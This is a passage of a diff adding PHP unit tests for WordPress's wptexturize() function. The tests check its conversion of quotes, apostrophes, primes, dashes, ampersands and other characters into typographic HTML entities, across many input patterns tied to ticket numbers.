+		$this->assertEquals('<code>href="baba"</code> &#8220;baba&#8221;', wptexturize('<code>href="baba"</code> "baba"'));
+
+		$enabled_tags_inside_code = '<code>curl -s <a href="http://x/">baba</a> | grep sfive | cut -d "\"" -f 10 &gt; topmp3.txt</code>';
+		$this->assertEquals($enabled_tags_inside_code, wptexturize($enabled_tags_inside_code));
+
+		$double_nest = '<pre>"baba"<code>"baba"<pre></pre></code>"baba"</pre>';
+		$this->assertEquals($double_nest, wptexturize($double_nest));
+
+		$invalid_nest = '<pre></code>"baba"</pre>';
+		$this->assertEquals($invalid_nest, wptexturize($invalid_nest));
+
+	}
+
+	//WP Ticket #1418
+	function test_bracketed_quotes_1418() {
+		$this->assertEquals('(&#8220;test&#8221;)', wptexturize('("test")'));
+		$this->assertEquals('(&#8216;test&#8217;)', wptexturize("('test')"));
+		$this->assertEquals('(&#8217;twas)', wptexturize("('twas)"));
+	}
+
+	//WP Ticket #3810
+	function test_bracketed_quotes_3810() {
+		$this->assertEquals('A dog (&#8220;Hubertus&#8221;) was sent out.', wptexturize('A dog ("Hubertus") was sent out.'));
+	}
+
+	//WP Ticket #4539
+	function test_basic_quotes() {
+		$this->assertEquals('test&#8217;s', wptexturize('test\'s'));
+
+		$this->assertEquals('&#8216;quoted&#8217;', wptexturize('\'quoted\''));
+		$this->assertEquals('&#8220;quoted&#8221;', wptexturize('"quoted"'));
+
+		$this->assertEquals('space before &#8216;quoted&#8217; space after', wptexturize('space before \'quoted\' space after'));
+		$this->assertEquals('space before &#8220;quoted&#8221; space after', wptexturize('space before "quoted" space after'));
+
+		$this->assertEquals('(&#8216;quoted&#8217;)', wptexturize('(\'quoted\')'));
+		$this->assertEquals('{&#8220;quoted&#8221;}', wptexturize('{"quoted"}'));
+
+		$this->assertEquals('&#8216;qu(ot)ed&#8217;', wptexturize('\'qu(ot)ed\''));
+		$this->assertEquals('&#8220;qu{ot}ed&#8221;', wptexturize('"qu{ot}ed"'));
+
+		$this->assertEquals(' &#8216;test&#8217;s quoted&#8217; ', wptexturize(' \'test\'s quoted\' '));
+		$this->assertEquals(' &#8220;test&#8217;s quoted&#8221; ', wptexturize(' "test\'s quoted" '));
+	}
+
+	/**
+	 * @ticket 4539
+	 * @ticket 15241
+	 */
+	function test_full_sentences_with_unmatched_single_quotes() {
+		$this->assertEquals(
+			'That means every moment you&#8217;re working on something without it being in the public it&#8217;s actually dying.',
+			wptexturize("That means every moment you're working on something without it being in the public it's actually dying.")
+		);
+	}
+
+	/**
+	 * @ticket 4539
+	 */
+	function test_quotes() {
+		$this->assertEquals('&#8220;Quoted String&#8221;', wptexturize('"Quoted String"'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link and a period</a>&#8221;.', wptexturize('Here is "<a href="http://example.com">a test with a link and a period</a>".'));
+		$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221; and a space.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>" and a space.'));
+		$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a> and some text quoted&#8221;', wptexturize('Here is "<a href="http://example.com">a test with a link</a> and some text quoted"'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;, and a comma.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>", and a comma.'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;; and a semi-colon.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"; and a semi-colon.'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;- and a dash.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"- and a dash.'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;&#8230; and ellipses.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"... and ellipses.'));
+		//$this->assertEquals('Here is &#8220;a test <a href="http://example.com">with a link</a>&#8221;.', wptexturize('Here is "a test <a href="http://example.com">with a link</a>".'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;and a work stuck to the end.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"and a work stuck to the end.'));
+		//$this->assertEquals('A test with a finishing number, &#8220;like 23&#8221;.', wptexturize('A test with a finishing number, "like 23".'));
+		//$this->assertEquals('A test with a number, &#8220;like 62&#8221;, is nice to have.', wptexturize('A test with a number, "like 62", is nice to have.'));
+	}
+
+	/**
+	 * @ticket 4539
+	 */
+	function test_quotes_before_s() {
+		$this->assertEquals('test&#8217;s', wptexturize("test's"));
+		$this->assertEquals('&#8216;test&#8217;s', wptexturize("'test's"));
+		$this->assertEquals('&#8216;test&#8217;s&#8217;', wptexturize("'test's'"));
+		$this->assertEquals('&#8216;string&#8217;', wptexturize("'string'"));
+		$this->assertEquals('&#8216;string&#8217;s&#8217;', wptexturize("'string's'"));
+	}
+
+	/**
+	 * @ticket 4539
+	 */
+	function test_quotes_before_numbers() {
+		$this->assertEquals('Class of &#8217;99', wptexturize("Class of '99"));
+		$this->assertEquals('Class of &#8217;99&#8217;s', wptexturize("Class of '99's"));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217;', wptexturize("'Class of '99'"));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217;s&#8217;', wptexturize("'Class of '99's'"));
+		$this->assertEquals('&#8216;Class of &#8217;99&#8217;s&#8217;', wptexturize("'Class of '99&#8217;s'"));
+		//$this->assertEquals('&#8220;Class of 99&#8221;', wptexturize("\"Class of 99\""));
+		$this->assertEquals('&#8220;Class of &#8217;99&#8221;', wptexturize("\"Class of '99\""));
+		$this->assertEquals('{&#8220;Class of &#8217;99&#8221;}', wptexturize("{\"Class of '99\"}"));
+		$this->assertEquals(' &#8220;Class of &#8217;99&#8221; ', wptexturize(" \"Class of '99\" "));
+		$this->assertEquals('}&#8221;Class of &#8217;99&#8243;{', wptexturize("}\"Class of '99\"{")); // Not a quotation, may be between two other quotations.
+	}
+
+	function test_quotes_after_numbers() {
+		$this->assertEquals('Class of &#8217;99', wptexturize("Class of '99"));
+	}
+
+	/**
+	 * @ticket 4539
+	 * @ticket 15241
+	 */
+	function test_other_html() {
+		$this->assertEquals('&#8216;<strong>', wptexturize("'<strong>"));
+		//$this->assertEquals('&#8216;<strong>Quoted Text</strong>&#8217;,', wptexturize("'<strong>Quoted Text</strong>',"));
+		//$this->assertEquals('&#8220;<strong>Quoted Text</strong>&#8221;,', wptexturize('"<strong>Quoted Text</strong>",'));
+	}
+
+	function test_x() {
+		$this->assertEquals('14&#215;24', wptexturize("14x24"));
+	}
+
+	function test_minutes_seconds() {
+		$this->assertEquals('9&#8242;', wptexturize('9\''));
+		$this->assertEquals('9&#8243;', wptexturize("9\""));
+
+		$this->assertEquals('a 9&#8242; b', wptexturize('a 9\' b'));
+		$this->assertEquals('a 9&#8243; b', wptexturize("a 9\" b"));
+
+		$this->assertEquals('&#8220;a 9&#8242; b&#8221;', wptexturize('"a 9\' b"'));
+		$this->assertEquals('&#8216;a 9&#8243; b&#8217;', wptexturize("'a 9\" b'"));
+	}
+
+	/**
+	 * @ticket 8775
+	 */
+	function test_wptexturize_quotes_around_numbers() {
+		$this->assertEquals('&#8220;12345&#8221;', wptexturize('"12345"'));
+		$this->assertEquals('&#8216;12345&#8217;', wptexturize('\'12345\''));
+		$this->assertEquals('&#8220;a 9&#8242; plus a &#8216;9&#8217;, maybe a 9&#8242; &#8216;9&#8217;&#8221;', wptexturize('"a 9\' plus a \'9\', maybe a 9\' \'9\'"'));
+		$this->assertEquals('<p>&#8217;99<br />&#8216;123&#8217;<br />&#8217;tis<br />&#8216;s&#8217;</p>', wptexturize('<p>\'99<br />\'123\'<br />\'tis<br />\'s\'</p>'));
+	}
+
+	/**
+	 * @ticket 8912
+	 */
+	function test_wptexturize_html_comments() {
+		$this->assertEquals('<!--[if !IE]>--><!--<![endif]-->', wptexturize('<!--[if !IE]>--><!--<![endif]-->'));
+		$this->assertEquals('<!--[if !IE]>"a 9\' plus a \'9\', maybe a 9\' \'9\' "<![endif]-->', wptexturize('<!--[if !IE]>"a 9\' plus a \'9\', maybe a 9\' \'9\' "<![endif]-->'));
+		$this->assertEquals('<ul><li>Hello.</li><!--<li>Goodbye.</li>--></ul>', wptexturize('<ul><li>Hello.</li><!--<li>Goodbye.</li>--></ul>'));
+	}
+
+	/**
+	 * @ticket 4539
+	 * @ticket 15241
+	 */
+	function test_entity_quote_cuddling() {
+		$this->assertEquals('&nbsp;&#8220;Testing&#8221;', wptexturize('&nbsp;"Testing"'));
+		//$this->assertEquals('&#38;&#8220;Testing&#8221;', wptexturize('&#38;"Testing"'));
+	}
+
+	/**
+	 * @ticket 22823
+	 */
+	function test_apostrophes_before_primes() {
+		$this->assertEquals( 'WordPress 3.5&#8217;s release date', wptexturize( "WordPress 3.5's release date" ) );
+	}
+
+	/**
+	 * @ticket 23185
+	 */
+	function test_spaces_around_hyphens() {
+		$nbsp = "\xC2\xA0";
+
+		$this->assertEquals( ' &#8211; ', wptexturize( ' - ' ) );
+		$this->assertEquals( '&nbsp;&#8211;&nbsp;', wptexturize( '&nbsp;-&nbsp;' ) );
+		$this->assertEquals( ' &#8211;&nbsp;', wptexturize( ' -&nbsp;' ) );
+		$this->assertEquals( '&nbsp;&#8211; ', wptexturize( '&nbsp;- ') );
+		$this->assertEquals( "$nbsp&#8211;$nbsp", wptexturize( "$nbsp-$nbsp" ) );
+		$this->assertEquals( " &#8211;$nbsp", wptexturize( " -$nbsp" ) );
+		$this->assertEquals( "$nbsp&#8211; ", wptexturize( "$nbsp- ") );
+
+		$this->assertEquals( ' &#8212; ', wptexturize( ' -- ' ) );
+		$this->assertEquals( '&nbsp;&#8212;&nbsp;', wptexturize( '&nbsp;--&nbsp;' ) );
+		$this->assertEquals( ' &#8212;&nbsp;', wptexturize( ' --&nbsp;' ) );
+		$this->assertEquals( '&nbsp;&#8212; ', wptexturize( '&nbsp;-- ') );
+		$this->assertEquals( "$nbsp&#8212;$nbsp", wptexturize( "$nbsp--$nbsp" ) );
+		$this->assertEquals( " &#8212;$nbsp", wptexturize( " --$nbsp" ) );
+		$this->assertEquals( "$nbsp&#8212; ", wptexturize( "$nbsp-- ") );
+	}
+
+	/**
+	 * Test spaces around quotes.
+	 *
+	 * These should never happen, even if the desired output changes some day.
+	 *
+	 * @ticket 22692
+	 */
+	function test_spaces_around_quotes_never() {
+		$nbsp = "\xC2\xA0";
+
+		$problem_input  = "$nbsp\"A";
+		$problem_output = "$nbsp&#8221;A";
+
+		$this->assertNotEquals( $problem_output, wptexturize( $problem_input ) );
+	}
+
+	/**
+	 * Test spaces around quotes.
+	 *
+	 * These are desirable outputs for the current design.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_spaces_around_quotes
+	 */
+	function test_spaces_around_quotes( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_spaces_around_quotes() {
+		$nbsp = "\xC2\xA0";
+		$pi   = "\xCE\xA0";
+
+		return array(
+			array(
+				"stop. $nbsp\"A quote after 2 spaces.\"",
+				"stop. $nbsp&#8220;A quote after 2 spaces.&#8221;",
+			),
+			array(
+				"stop.$nbsp$nbsp\"A quote after 2 spaces.\"",
+				"stop.$nbsp$nbsp&#8220;A quote after 2 spaces.&#8221;",
+			),
+			array(
+				"stop. $nbsp'A quote after 2 spaces.'",
+				"stop. $nbsp&#8216;A quote after 2 spaces.&#8217;",
+			),
+			array(
+				"stop.$nbsp$nbsp'A quote after 2 spaces.'",
+				"stop.$nbsp$nbsp&#8216;A quote after 2 spaces.&#8217;",
+			),
+			array(
+				"stop. &nbsp;\"A quote after 2 spaces.\"",
+				"stop. &nbsp;&#8220;A quote after 2 spaces.&#8221;",
+			),
+			array(
+				"stop.&nbsp;&nbsp;\"A quote after 2 spaces.\"",
+				"stop.&nbsp;&nbsp;&#8220;A quote after 2 spaces.&#8221;",
+			),
+			array(
+				"stop. &nbsp;'A quote after 2 spaces.'",
+				"stop. &nbsp;&#8216;A quote after 2 spaces.&#8217;",
+			),
+			array(
+				"stop.&nbsp;&nbsp;'A quote after 2 spaces.'",
+				"stop.&nbsp;&nbsp;&#8216;A quote after 2 spaces.&#8217;",
+			),
+			array(
+				"Contraction: $pi's",
+				"Contraction: $pi&#8217;s",
+			),
+		);
+	}
+
+	/**
+	 * Apostrophe before a number always becomes &#8217 (apos);
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_apos_before_digits
+	 */
+	function test_apos_before_digits( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_apos_before_digits() {
+		return array(
+			array(
+				"word '99 word",
+				"word &#8217;99 word",
+			),
+			array(
+				"word'99 word",
+				"word&#8217;99 word",
+			),
+			array(
+				"word '99word",
+				"word &#8217;99word",
+			),
+			array(
+				"word'99word",
+				"word&#8217;99word",
+			),
+			array(
+				"word '99&#8217;s word", // Appears as a separate but logically superfluous pattern in 3.8.
+				"word &#8217;99&#8217;s word",
+			),
+			array(
+				"according to our source, '33 students scored less than 50' on the test.", // Apostrophes and primes have priority over quotes
+				"according to our source, &#8217;33 students scored less than 50&#8242; on the test.",
+			),
+		);
+	}
+
+	/**
+	 * Apostrophe after a space or ([{<" becomes &#8216; (opening_single_quote)
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_opening_single_quote
+	 */
+	function test_opening_single_quote( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_opening_single_quote() {
+		return array(
+			array(
+				"word 'word word",
+				"word &#8216;word word",
+			),
+			array(
+				"word ('word word",
+				"word (&#8216;word word",
+			),
+			array(
+				"word ['word word",
+				"word [&#8216;word word",
+			),
+			array(
+				"word <'word word", // Invalid HTML input triggers the apos in a word pattern.
+				"word <&#8217;word word",
+			),
+			array(
+				"word &lt;'word word", // Valid HTML input makes curly quotes.
+				"word &lt;&#8216;word word",
+			),
+			array(
+				"word {'word word",
+				"word {&#8216;word word",
+			),
+			array(
+				"word \"'word word",
+				"word &#8220;&#8216;word word", // Two opening quotes
+			),
+			array(
+				"'word word",
+				"&#8216;word word",
+			),
+			array(
+				"word('word word",
+				"word(&#8216;word word",
+			),
+			array(
+				"word['word word",
+				"word[&#8216;word word",
+			),
+			array(
+				"word<'word word",
+				"word<&#8217;word word",
+			),
+			array(
+				"word&lt;'word word",
+				"word&lt;&#8216;word word",
+			),
+			array(
+				"word{'word word",
+				"word{&#8216;word word",
+			),
+			array(
+				"word\"'word word",
+				"word&#8221;&#8216;word word", // Closing quote, then opening quote
+			),
+			array(
+				"word ' word word",
+				"word &#8216; word word",
+			),
+			array(
+				"word (' word word",
+				"word (&#8216; word word",
+			),
+			array(
+				"word [' word word",
+				"word [&#8216; word word",
+			),
+			array(
+				"word <' word word",
+				"word <&#8217; word word",
+			),
+			array(
+				"word &lt;' word word",
+				"word &lt;&#8216; word word",
+			),
+			array(
+				"word {' word word",
+				"word {&#8216; word word",
+			),
+			array(
+				"word \"' word word",
+				"word &#8220;&#8216; word word", // Two opening quotes
+			),
+			array(
+				"' word word",
+				"&#8216; word word",
+			),
+			array(
+				"word(' word word",
+				"word(&#8216; word word",
+			),
+			array(
+				"word[' word word",
+				"word[&#8216; word word",
+			),
+			array(
+				"word<' word word",
+				"word<&#8217; word word",
+			),
+			array(
+				"word&lt;' word word",
+				"word&lt;&#8216; word word",
+			),
+			array(
+				"word{' word word",
+				"word{&#8216; word word",
+			),
+			array(
+				"word\"' word word",
+				"word&#8221;&#8216; word word", // Closing quote, then opening quote
+			),
+		);
+	}
+
+	/**
+	 * Double quote after a number becomes &#8243; (double_prime)
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_double_prime
+	 */
+	function test_double_prime( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_double_prime() {
+		return array(
+			array(
+				'word 99" word',
+				'word 99&#8243; word',
+			),
+			array(
+				'word 99"word',
+				'word 99&#8243;word',
+			),
+			array(
+				'word99" word',
+				'word99&#8243; word',
+			),
+			array(
+				'word99"word',
+				'word99&#8243;word',
+			),
+		);
+	}
+
+	/**
+	 * Apostrophe after a number becomes &#8242; (prime)
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_single_prime
+	 */
+	function test_single_prime( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_single_prime() {
+		return array(
+			array(
+				"word 99' word",
+				"word 99&#8242; word",
+			),
+			array(
+				"word 99'word", // Not a prime anymore. Apostrophes get priority.
+				"word 99&#8217;word",
+			),
+			array(
+				"word99' word",
+				"word99&#8242; word",
+			),
+			array(
+				"word99'word", // Not a prime anymore.
+				"word99&#8217;word",
+			),
+		);
+	}
+
+	/**
+	 * Apostrophe "in a word" becomes &#8217; (apos)
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_contractions
+	 */
+	function test_contractions( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_contractions() {
+		return array(
+			array(
+				"word word's word",
+				"word word&#8217;s word",
+			),
+			array(
+				"word'[ word", // Apostrophes are never followed by opening punctuation.
+				"word'[ word",
+			),
+			array(
+				"word'( word",
+				"word'( word",
+			),
+			array(
+				"word'{ word",
+				"word'{ word",
+			),
+			array(
+				"word'&lt; word",
+				"word'&lt; word",
+			),
+			array(
+				"word'< word", // Invalid HTML input does trigger the apos pattern.
+				"word&#8217;< word",
+			),
+		);
+	}
+
+	/**
+	 * Double quote after a space or ([-{< becomes &#8220; (opening_quote) if not followed by spaces
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_opening_quote
+	 */
+	function test_opening_quote( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_opening_quote() {
+		return array(
+			array(
+				'word "word word',
+				'word &#8220;word word',
+			),
+			array(
+				'word ("word word',
+				'word (&#8220;word word',
+			),
+			array(
+				'word ["word word',
+				'word [&#8220;word word',
+			),
+			array(
+				'word <"word word', // Invalid HTML input triggers the closing quote pattern.
+				'word <&#8221;word word',
+			),
+			array(
+				'word &lt;"word word',
+				'word &lt;&#8220;word word',
+			),
+			array(
+				'word {"word word',
+				'word {&#8220;word word',
+			),
+			array(
+				'word -"word word',
+				'word -&#8220;word word',
+			),
+			array(
+				'word-"word word',
+				'word-&#8220;word word',
+			),
+			array(
+				'"word word',
+				'&#8220;word word',
+			),
+			array(
+				'word("word word',
+				'word(&#8220;word word',
+			),
+			array(
+				'word["word word',
+				'word[&#8220;word word',
+			),
+			array(
+				'word<"word word',
+				'word<&#8221;word word',
+			),
+			array(
+				'word&lt;"word word',
+				'word&lt;&#8220;word word',
+			),
+			array(
+				'word{"word word',
+				'word{&#8220;word word',
+			),
+			array(
+				'word "99 word',
+				'word &#8220;99 word',
+			),
+		);
+	}
+
+	/**
+	 * Double quote becomes &#8221; (closing_quote) unless it is already converted to double_prime or opening_quote.
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_closing_quote
+	 */
+	function test_closing_quote( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_closing_quote() {
+		return array(
+			array(
+				'word word" word',
+				'word word&#8221; word',
+			),
+			array(
+				'word word") word',
+				'word word&#8221;) word',
+			),
+			array(
+				'word word"] word',
+				'word word&#8221;] word',
+			),
+			array(
+				'word word"} word',
+				'word word&#8221;} word',
+			),
+			array(
+				'word word"> word', // Invalid HTML input?
+				'word word&#8221;> word',
+			),
+			array(
+				'word word"&gt; word', // Valid HTML should work
+				'word word&#8221;&gt; word',
+			),
+			array(
+				'word word"',
+				'word word&#8221;',
+			),
+			array(
+				'word word"word',
+				'word word&#8221;word',
+			),
+			array(
+				'word"word"word',
+				'word&#8221;word&#8221;word',
+			),
+			array(
+				'test sentence".',
+				'test sentence&#8221;.',
+			),
+			array(
+				'test sentence."',
+				'test sentence.&#8221;',
+			),
+			array(
+				'test sentence". word',
+				'test sentence&#8221;. word',
+			),
+			array(
+				'test sentence." word',
+				'test sentence.&#8221; word',
+			),
+		);
+	}
+
+	/**
+	 * Test that single quotes followed by a space or .,-)}]> become &#8217; (closing_single_quote)
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_closing_single_quote
+	 */
+	function test_closing_single_quote( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_closing_single_quote() {
+		return array(
+			array(
+				"word word' word",
+				"word word&#8217; word",
+			),
+			array(
+				"word word'. word",
+				"word word&#8217;. word",
+			),
+			array(
+				"word word'.word",
+				"word word&#8217;.word",
+			),
+			array(
+				"word word', she said",
+				"word word&#8217;, she said",
+			),
+			array(
+				"word word'- word",
+				"word word&#8217;- word",
+			),
+			array(
+				"word word') word",
+				"word word&#8217;) word",
+			),
+			array(
+				"word word'} word",
+				"word word&#8217;} word",
+			),
+			array(
+				"word word'] word",
+				"word word&#8217;] word",
+			),
+			array(
+				"word word'&gt; word",
+				"word word&#8217;&gt; word",
+			),
+			array(
+				"word word'",
+				"word word&#8217;",
+			),
+			array(
+				"test sentence'.",
+				"test sentence&#8217;.",
+			),
+			array(
+				"test sentence.'",
+				"test sentence.&#8217;",
+			),
+			array(
+				"test sentence'. word",
+				"test sentence&#8217;. word",
+			),
+			array(
+				"test sentence.' word",
+				"test sentence.&#8217; word",
+			),
+		);
+	}
+
+	/**
+	 * Tests multiplication.
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_multiplication
+	 */
+	function test_multiplication( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_multiplication() {
+		return array(
+			array(
+				"9x9",
+				"9&#215;9",
+			),
+			array(
+				"12x34",
+				"12&#215;34",
+			),
+			array(
+				"-123x1=-123",
+				"-123&#215;1=-123",
+			),
+			// @ticket 30445
+			array(
+				"-123x-1",
+				"-123x-1",
+			),
+			array(
+				"0.675x1=0.675",
+				"0.675&#215;1=0.675",
+			),
+			array(
+				"9 x 9",
+				"9 x 9",
+			),
+			array(
+				"0x70",
+				"0x70",
+			),
+			array(
+				"3x2x1x0",
+				"3x2x1x0",
+			),
+		);
+	}
+
+	/**
+	 * Test ampersands. & always becomes &#038; unless it is followed by # or ;
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_ampersand
+	 */
+	function test_ampersand( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_ampersand() {
+		return array(
+			array(
+				"word & word",
+				"word &#038; word",
+			),
+			array(
+				"word&word",
+				"word&#038;word",
+			),
+			array(
+				"word &nbsp; word",
+				"word &nbsp; word",
+			),
+			array(
+				"word &#038; word",
+				"word &#038; word",
+			),
+			array(
+				"word &#xabc; word",
+				"word &#xabc; word",
+			),
+			array(
+				"word &#X394; word",
+				"word &#X394; word",
+			),
+			array(
+				"word &# word",
+				"word &#038;# word",
+			),
+			array(
+				"word &44; word",
+				"word &44; word",
+			),
+			array(
+				"word &&amp; word",
+				"word &#038;&amp; word",
+			),
+			array(
+				"word &!amp; word",
+				"word &#038;!amp; word",
+			),
+			array(
+				"word &#",
+				"word &#038;#",
+			),
+			array(
+				"word &",
+				"word &#038;",
+			),
+		);
+	}
+
+	/**
+	 * Test "cockney" phrases, which begin with an apostrophe instead of an opening single quote.
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_cockney
+	 */
+	function test_cockney( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_cockney() {
+		return array(
+			array(
+				"word 'tain't word",
+				"word &#8217;tain&#8217;t word",
+			),
+			array(
+				"word 'twere word",
+				"word &#8217;twere word",
+			),
+			array(
+				"word 'twas word",
+				"word &#8217;twas word",
+			),
+			array(
+				"word 'tis word",
+				"word &#8217;tis word",
+			),
+			array(
+				"word 'twill word",
+				"word &#8217;twill word",
+			),
+			array(
+				"word 'til word",
+				"word &#8217;til word",
+			),
+			array(
+				"word 'bout word",
+				"word &#8217;bout word",
+			),
+			array(
+				"word 'nuff word",
+				"word &#8217;nuff word",
+			),
+			array(
+				"word 'round word",
+				"word &#8217;round word",
+			),
+			array(
+				"word 'cause word",
+				"word &#8217;cause word",
+			),
+			array(
+				"word 'em word",
+				"word &#8216;em word",
+			),
+		);
+	}
+
+	/**
+	 * Test smart dashes.
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_smart_dashes
+	 */
+	function test_smart_dashes( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_smart_dashes() {
+		return array(
+			array(
+				"word --- word",
+				"word &#8212; word",
+			),
+			array(
+				"word---word",
+				"word&#8212;word",
+			),
+			array(
+				"word -- word",
+				"word &#8212; word",
+			),
+			array(
+				"word--word",
+				"word&#8211;word",
+			),
+			array(
+				"word - word",
+				"word &#8211; word",
+			),
+			array(
+				"word-word",
+				"word-word",
+			),
+			array(
+				"word xn&#8211; word",
+				"word xn&#8211; word",
+			),
+			array(
+				"wordxn&#8211;word",
+				"wordxn&#8211;word",
+			),
+			array(
+				"wordxn--word",
+				"wordxn--word",
+			),
+		);
+	}
+
+	/**
+	 * Test miscellaneous static replacements.
+	 *
+	 * Checks all baseline patterns. If anything ever changes in wptexturize(), these tests may fail.
+	 *
+	 * @ticket 22692
+	 * @dataProvider data_misc_static_replacements
+	 */
+	function test_misc_static_replacements( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_misc_static_replacements() {
+		return array(
+			array(
+				"word ... word",
+				"word &#8230; word",
+			),
+			array(
+				"word...word",
+				"word&#8230;word",
+			),
+			array(
+				"word `` word",
+				"word &#8220; word",
+			),
+			array(
+				"word``word",
+				"word&#8220;word",
+			),
+			array(
+				"word '' word",
+				"word &#8221; word",
+			),
+			array(
+				"word''word",
+				"word&#8221;word",
+			),
+			array(
+				"word (tm) word",
+				"word &#8482; word",
+			),
+			array(
+				"word (tm)word",
+				"word &#8482;word",
+			),
+			array(
+				"word(tm) word",
+				"word(tm) word",
+			),
+			array(
+				"word(tm)word",
+				"word(tm)word",
+			),
+		);
+	}
+
+	/**
+	 * Numbers inside of matching quotes get curly quotes instead of apostrophes and primes.
+	 *
+	 * @ticket 8775
+	 * @dataProvider data_quoted_numbers
+	 */
+	function test_quoted_numbers( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_quoted_numbers() {
+		return array(
+			array(
+				'word "42.00" word',
+				'word &#8220;42.00&#8221; word',
+			),
+			array(
+				'word "42.00"word',
+				'word &#8220;42.00&#8221;word',
+			),
+			array(
+				"word '42.00' word",
+				"word &#8216;42.00&#8217; word",
+			),
+			array(
+				"word '42.00'word",
+				"word &#8216;42.00&#8217;word",
+			),
+			array(
+				'word "42" word',
+				'word &#8220;42&#8221; word',
+			),
+			array(
+				'word "42,00" word',
+				'word &#8220;42,00&#8221; word',
+			),
+			array(
+				'word "4,242.00" word',
+				'word &#8220;4,242.00&#8221; word',
+			),
+			array(
+				"word '99's word",
+				"word &#8217;99&#8217;s word",
+			),
+			array(
+				"word '99'samsonite",
+				"word &#8217;99&#8217;samsonite",
+			),
+		);
+	}
+
+	/**
+	 * Quotations should be allowed to have dashes around them.
+	 *
+	 * @ticket 20342
+	 * @dataProvider data_quotes_and_dashes
+	 */
+	function test_quotes_and_dashes( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_quotes_and_dashes() {
+		return array(
+			array(
+				'word---"quote"',
+				'word&#8212;&#8220;quote&#8221;',
+			),
+			array(
+				'word--"quote"',
+				'word&#8211;&#8220;quote&#8221;',
+			),
+			array(
+				'word-"quote"',
+				'word-&#8220;quote&#8221;',
+			),
+			array(
+				"word---'quote'",
+				"word&#8212;&#8216;quote&#8217;",
+			),
+			array(
+				"word--'quote'",
+				"word&#8211;&#8216;quote&#8217;",
+			),
+			array(
+				"word-'quote'",
+				"word-&#8216;quote&#8217;",
+			),
+			array(
+				'"quote"---word',
+				'&#8220;quote&#8221;&#8212;word',
+			),
+			array(
+				'"quote"--word',
+				'&#8220;quote&#8221;&#8211;word',
+			),
+			array(
+				'"quote"-word',
+				'&#8220;quote&#8221;-word',
+			),
+			array(
+				"'quote'---word",
+				"&#8216;quote&#8217;&#8212;word",
+			),
+			array(
+				"'quote'--word",
+				"&#8216;quote&#8217;&#8211;word",
+			),
+			array(
+				"'quote'-word",
+				"&#8216;quote&#8217;-word",
+			),
+		);
+	}
+
+	/**
